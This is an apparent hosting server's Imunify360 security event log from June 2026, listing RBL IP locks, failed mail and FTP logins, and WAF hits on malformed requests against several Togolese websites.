Jun 12 03:08:47 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.193.163.2 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.160.107
country_id: 99237
description:
Jun 12 03:08:41 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.160.107 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.247.110.24
country_id: 1269750
description:
Jun 12 03:08:42 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.247.110.24 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 36.154.116.10
country_id: 1814991
description:
Jun 12 03:10:04 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 36.154.116.10 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.100.16.74
country_id: 2017370
description:
Jun 12 03:09:22 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.100.16.74 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.172.43.116
country_id: 1814991
description:
Jun 12 03:09:29 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.172.43.116 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 189.56.252.115
country_id: 3469034
description:
Jun 12 03:09:33 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 189.56.252.115 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 202.72.196.75
country_id: 1643084
description:
Jun 12 03:09:41 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 202.72.196.75 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.230.173
country_id: 1269750
description:
Jun 12 03:09:40 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.230.173 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.227.99.87
country_id: 1668284
description:
Jun 12 03:10:53 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.227.99.87 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.109.81.11
country_id: 1605651
description:
Jun 12 03:10:44 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.109.81.11 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 152.52.183.50
country_id: 1269750
description:
Jun 12 03:11:26 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 152.52.183.50 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.250.215.200
country_id: 1668284
description:
Jun 12 03:11:39 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.250.215.200 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 03:11:43 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 91.106.47.48
country_id: 99237
description:
91.106.47.48 - - [12/Jun/2026:03:13:13 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10196378&pdata=https%253A%252F%252Ftogodailynews.tg%252Fprogramme-compact-victoire-tomegah-dogbe-echange-avec-kyeh-kim%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781233991 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/programme-compact-victoire-tomegah-dogbe-echange-avec-kyeh-kim/" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.1649.1356 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:91.106.47.48


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.3.62.23
country_id: 6252001
domain: www.cloud-and-racks.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cloud-and-racks.tg/robots.txt HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.3.62.38
country_id: 6252001
domain: www.cloud-and-racks.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cloud-and-racks.tg/sitemap.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.3.62.30
country_id: 6252001
domain: cloud-and-racks.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cloud-and-racks.tg/sitemap_index.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.3.62.39
country_id: 6252001
domain: www.cloud-and-racks.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cloud-and-racks.tg/sitemap.xml.gz HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.3.62.3
country_id: 6252001
domain: cloud-and-racks.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cloud-and-racks.tg/sitemap.xml.gz HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.3.62.28
country_id: 6252001
domain: cloud-and-racks.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cloud-and-racks.tg/sitemap.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.3.62.37
country_id: 6252001
domain: cloud-and-racks.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cloud-and-racks.tg/news-sitemap.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.3.62.36
country_id: 6252001
domain: cloud-and-racks.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cloud-and-racks.tg/wp-sitemap.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.3.62.46
country_id: 6252001
domain: www.cloud-and-racks.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cloud-and-racks.tg/news-sitemap.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.3.62.44
country_id: 6252001
domain: www.cloud-and-racks.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cloud-and-racks.tg/wp-sitemap.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 205.169.39.55
country_id: 6252001
domain: cloud-et-racks.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/127.0.6533.119 Safari/537.36||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.3.62.224
country_id: 6252001
domain: cloud-and-racks.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cloud-and-racks.tg/robots.txt HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 38.240.36.163
country_id: 6252001
description:
2026-06-12 03:15:57 dovecot_plain authenticator failed for H=(HY-07373.433626) [38.240.36.163]:60769: 535 Incorrect authentication data (set_id=ymintre@otr.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 38.240.36.163
country_id: 6252001
description:
Jun 12 03:15:55 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 38.240.36.163 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 03:16:35 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 189.217.214.143
country_id: 3996063
description:
189.217.214.143 - - [12/Jun/2026:03:19:05 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6984902&pdata=https%253A%252F%252Ftogodailynews.tg%252Fdiplomatie-parlementaire-kodzo-adedze-participe-a-la-6eme-conference-mondiale-des-presidents-de-parlement-a-geneve%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781234342 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/diplomatie-parlementaire-kodzo-adedze-participe-a-la-6eme-conference-mondiale-des-presidents-de-parlement-a-geneve/" "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.1574.1015 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:189.217.214.143


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.24.250.222
country_id: 1562822
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/uploads/images/18.jpeg HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 94.187.242.28
country_id: 285570
description:
94.187.242.28 - - [12/Jun/2026:03:20:09 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12950377&pdata=https%253A%252F%252Fcfpj.tg%252Fkeoo-250819letid.htm&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781234404 HTTP/1.1" 302 0 cfpj.tg "https://cfpj.tg/keoo-250819letid.htm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:94.187.242.28


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 03:20:10 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 172.234.86.233
country_id: 1861060
description:
2026-06-12 03:20:56 dovecot_plain authenticator failed for H=172-234-86-233.ip.linodeusercontent.com (szn6reb7d0jpanp0j) [172.234.86.233]:40234: 535 Incorrect authentication data (set_id=contact@dany2.mairie.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 115.190.238.96
country_id: 1814991
description:
Jun 12 03:21:04 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 115.190.238.96 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 03:20:19 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.234.86.233
country_id: 1861060
description:
Jun 12 03:20:54 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.234.86.233 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 23.129.64.219
country_id: 6252001
description:
Jun 12 03:22:13 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 23.129.64.219 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 23.129.64.219
country_id: 6252001
description:
2026-06-12 03:22:15 dovecot_plain authenticator failed for H=(7qkqsjxv4ro3mal4ik5ijt3og) [23.129.64.219]:8783: 535 Incorrect authentication data (set_id=ptitrikou@mesyscom.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 178.95.121.80
country_id: 587116
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/?wmcAction=wmcTrack&action_name=Lutte contre le blanchement des capitaux : Les acteurs des secteurs public et priv\xc3\xa9 en \xc3\xa9valuation | TOGODAILYNEWS&siteId=1&rec=1&rand=392525&h=11&m=22&s=49&url=http:/togodailynews.tg/lutte-contre-le-blanchement-des-capitaux-les-acteurs-des-secteurs-public-et-prive-en-evaluation/&uid=0&pid=4034&visitorId=9eb45c26eaa7d095&fvts=1781234569&vc=1&idn=0&refts=0&lvts=1781234569&fullRef=togodailynews.tg/lutte-contre-le-blanchement-des-capitaux-les-acteurs-des-secteurs-public-et-prive-en-evaluation&send_image=1&cookie=1&res=375x812&gtms=9125&pvId=xJbABE&browser=Chrome_40&os=Android_5.0&device=Mobile HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77674285
name: IM360 WAF: Track upload attempt
abuser: 151.240.123.59
country_id: 290557
domain: togodailynews.tg:80
description:
IM360 WAF: Track upload attempt||MVN:ARGS:request_uri||MV:lutte-contre-le-blanchement-des-capitaux-les-acteurs-des-secteurs-public-et-prive-en-evaluation/||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.245.250.186
country_id: 6290252
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/wp-content/themes/magxpress/assets/js/swiper-bundle.min.js?ver=1.0.0 HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.240.123.59
country_id: 290557
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1 HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.241.96.219
country_id: 2623032
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/wp-content/uploads/2026/06/1003400900-300x185.webp HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 03:23:42 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: modsec
rule: 77674285
name: IM360 WAF: Track upload attempt
abuser: 151.246.207.27
country_id: 290557
domain: togodailynews.tg
description:
IM360 WAF: Track upload attempt||MVN:ARGS:request_uri||MV:remaniement-ministeriel-au-togo-nouvelles-tetes-et-nouveaux-defis-pour-lexecutif/||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.32.76.202
country_id: 1562822
description:
Jun 12 03:24:17 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.32.76.202 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.32.76.202
country_id: 1562822
description:
2026-06-12 03:24:19 dovecot_plain authenticator failed for H=(6wq6i6anulm7f071b0) [101.32.76.202]:20394: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.178.71.217
country_id: 1814991
description:
Jun 12 03:24:27 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.178.71.217 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 195.178.110.101
country_id: 732800
description:
Jun 12 03:26:43 ns5 pure-ftpd[1194553]: (?@195.178.110.101) [INFO] New connection from 195.178.110.101


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 195.178.110.101
country_id: 732800
description:
Jun 12 03:26:47 ns5 pure-ftpd[1194553]: (?@195.178.110.101) [WARNING] Authentication failed for user [anonymous]


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 45.228.38.194
country_id: 3469034
description:
45.228.38.194 - - [12/Jun/2026:03:28:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9674652&pdata=https%253A%252F%252Feducplusmedia.tg%252F2026%252Fpage%252F2%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781234914 HTTP/2.0" 302 0 educplusmedia.tg "https://educplusmedia.tg/2026/page/2/" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.9754.1393 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:45.228.38.194


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.123.170.104
country_id: 6252001
description:
34.123.170.104 - - [12/Jun/2026:03:29:10 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7183462&pdata=http%253A%252F%252Fdioceseatakpame.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781234947 HTTP/1.1" 302 0 dioceseatakpame.tg "http://dioceseatakpame.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.123.170.104


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.122.147.229
country_id: 6252001
description:
34.122.147.229 - - [12/Jun/2026:03:29:16 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10251378&pdata=http%253A%252F%252Fdioceseatakpame.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781234954 HTTP/1.1" 302 0 dioceseatakpame.tg "http://dioceseatakpame.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.122.147.229


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 181.225.198.41
country_id: 3865483
description:
Jun 12 03:31:39 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 181.225.198.41 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.189.228.208
country_id: 1562822
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/agou-pari-gagne-pour-la-journee-nationale-du-sport/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.189.228.208
country_id: 1562822
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/agou-pari-gagne-pour-la-journee-nationale-du-sport/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 40.192.1.155
country_id: 1269750
description:
2026-06-12 03:32:06 dovecot_plain authenticator failed for H=ec2-40-192-1-155.ap-south-2.compute.amazonaws.com (yflbdo74wpnco6vjv1y2ms) [40.192.1.155]:53330: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.220.101.186
country_id: 2921044
description:
185.220.101.186 - elmkvzcm [12/Jun/2026:03:32:12 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9870742&pdata=https%253A%252F%252Ftdn.tg%253A2083%252Fexecute%252FDomainInfo%252Fdomains_data&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781235131 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg:2083/execute/DomainInfo/domains_data" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.220.101.186


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.238.107.82
country_id: 3865483
description:
Jun 12 03:32:26 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.238.107.82 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.72.200.48
country_id: 3077311
description:
Jun 12 03:33:52 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.72.200.48 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 03:34:06 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.96.136
country_id: 3469034
description:
Jun 12 03:34:11 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.96.136 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.96.136
country_id: 3469034
description:
Jun 12 03:34:25 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.96.136 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 190.6.15.228
country_id: 3625428
description:
190.6.15.228 - - [12/Jun/2026:03:34:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6790850&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Framadan-en-cote-divoire%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781235265 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/ramadan-en-cote-divoire/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2311.1699 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:190.6.15.228


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.3
country_id: 6252001
description:
205.169.39.3 - - [12/Jun/2026:03:34:33 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9606244&pdata=http%253A%252F%252Fdioceseatakpame.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781235266 HTTP/1.1" 302 0 dioceseatakpame.tg "http://dioceseatakpame.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.3


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 03:36:36 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.148.10.39
country_id: 2750405
description:
Jun 12 03:37:06 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.148.10.39 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.148.10.39
country_id: 2750405
description:
2026-06-12 03:37:08 dovecot_login authenticator failed for H=(WIN-JKGVN7T4E72) [45.148.10.39]:59856: 535 Incorrect authentication data (set_id=seee)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 03:40:30 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.178.71.217
country_id: 1814991
description:
Jun 12 03:40:39 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.178.71.217 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 200.174.198.81
country_id: 3469034
description:
Jun 12 03:41:51 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 200.174.198.81 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.174.198.81
country_id: 3469034
description:
2026-06-12 03:41:53 dovecot_plain authenticator failed for H=(nf8j9rxl4m8uq6dobfio78xr) [200.174.198.81]:63040: 535 Incorrect authentication data (set_id=contact@emt.tg)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 213.230.87.55
country_id: 1512440
description:
2026-06-12 03:43:45 H=([213.230.87.55]) [213.230.87.55]:37149 F=<John@4452.com> rejected RCPT <agounkej@ucao-uut.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 03:43:50 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 180.243.2.9
country_id: 1643084
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/afrique-subsaharienne-la-croissance-devrait-se-moderer-pour-setablir-a-32-en-2023-puis-remonter-a-39-en-2024/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 180.243.2.9
country_id: 1643084
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/afrique-subsaharienne-la-croissance-devrait-se-moderer-pour-setablir-a-32-en-2023-puis-remonter-a-39-en-2024/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.165.16.26
country_id: 1562822
domain: fbafrica.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fbafrica.com/rich-minsi-aw-2016-collection/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.229.225.21
country_id: 1562822
domain: fbafrica.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fbafrica.com/2015/05/29/b-side-by-wale-ss-2015-faded-weekend HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 03:49:59 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 03:53:14 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
